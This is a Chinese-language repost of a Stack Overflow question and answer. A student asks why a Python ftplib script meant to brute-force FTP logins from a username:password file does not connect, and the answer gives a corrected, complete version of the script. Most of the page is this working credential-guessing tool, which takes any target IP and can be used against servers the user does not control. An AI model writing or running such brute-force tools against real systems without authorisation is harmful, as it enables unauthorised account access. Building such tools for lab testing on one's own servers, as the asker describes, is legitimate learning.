gpt4 book ai didi

Python FTP 暴力破解

转载 作者:行者123 更新时间:2023-12-01 05:10:22 25 4
gpt4 key购买 nike

我正在开展一个学校编码项目,该项目将使用 python 脚本通过文本文档暴力破解 FTP 服务器。这就是我所拥有的:

from ftplib import FTP
from optparse import OptionParser

def brute(host, username, password):
try:
ftp = FTP(host)
ftp.login(username, password)
ftp.retrlines('LIST')
print ('Ftp server connected using the provided username "' + username + '" and password "' + password + '"')
ftp.quit()
except:
print ('Could not connect to the ftp server using the provided username "' + username + '" and password "' + password + '"')

def main():
parser = OptionParser(usage="usage: python3 <program name>.py -H <target IP -P <password file>")
parser.add_option("-H", type="string",
help="Enter target host IP",
dest="targetHost")
parser.add_option("-P", type="string",
help="Enter password file",
dest="passFile")
(options, args) = parser.parse_args()

with open(options.passFile) as f:
content = f.readlines()
content = [x.split(':') for x in content]
username = []
password = []
i = 0
for x in range(len(content)):
username.append(content[i][0])
password.append(content[i][1])
i += 1
password = [x.replace('\n', '') for x in password]
f.close()

for x in range(len(username)):
brute(options.targetHost, username[x], password[x])

main()

文本文档的格式类似于用户名:密码。为了测试它,我必须设置一个 FTP 服务器,我也这样做了。在我设置 FTP 服务器并运行脚本后,它可以工作,但它实际上并没有将我连接到 FTP 服务器,而是给了我除了打印之外的信息。我已经尝试配置我的 FTP 服务器一段时间了,试图让它工作,但结果是一样的。所以我想知道是否是我的脚本有问题,或者只是我没有正确配置 FTP 服务器。如果是我的脚本有问题,有人可以指出它是什么,否则如果我的脚本没问题,那么有人愿意链接到一个站点,该站点显示如何为 Windows 2008 或 Linux 设置和配置 FTP 服务器?提前致谢。

最佳答案

#!/usr/bin/env python3

from ftplib import FTP
from optparse import OptionParser

def brute(host, username, password):
try:
ftp = FTP(host)
ftp.login(username, password)
ftp.retrlines('LIST')
print ('Ftp server connected using the provided username "' + username + '" and password "' + password + '"')
ftp.quit()
except:
print ('Could not connect to the ftp server using the provided username "' + username + '" and password "' + password + '"')

def main():
parser = OptionParser(usage="usage: python3 <program name>.py -t <target IP> -p <password file>")
parser.add_option("-t", type="string",
help="Enter target host IP",
dest="targetHost")
parser.add_option("-p", type="string",
help="Enter password file",
dest="passFile")
(options, args) = parser.parse_args()

if not options.passFile or not options.targetHost:
parser.print_help()
else:
with open(options.passFile) as f:
data = [ line.strip().split(':') for line in f ]

for username, password in data:
brute(options.targetHost, username, password)

main()

--

使用 #!/usr/bin/env python3 行(称为 hashbang - # = hash! = bang)
我可以直接运行脚本

bash$ my_script.py

bash$ ./my_script.py

(但首先我必须将其设置为可执行chmod +x my_script.py)

我什至可以删除 .py 并且它会起作用

bash$ my_script

bash$ ./my_script

--

大多数程序都使用小写参数,我更喜欢它,所以我使用 -t-p

--

OptionParser 未检查是否使用了参数。

--

代码的最后一部分也可以

    with open(options.passFile) as f:
for line in f:
username, password = line.strip().split(':')
brute(options.targetHost, username, password)

关于Python FTP 暴力破解,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/24345439/

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com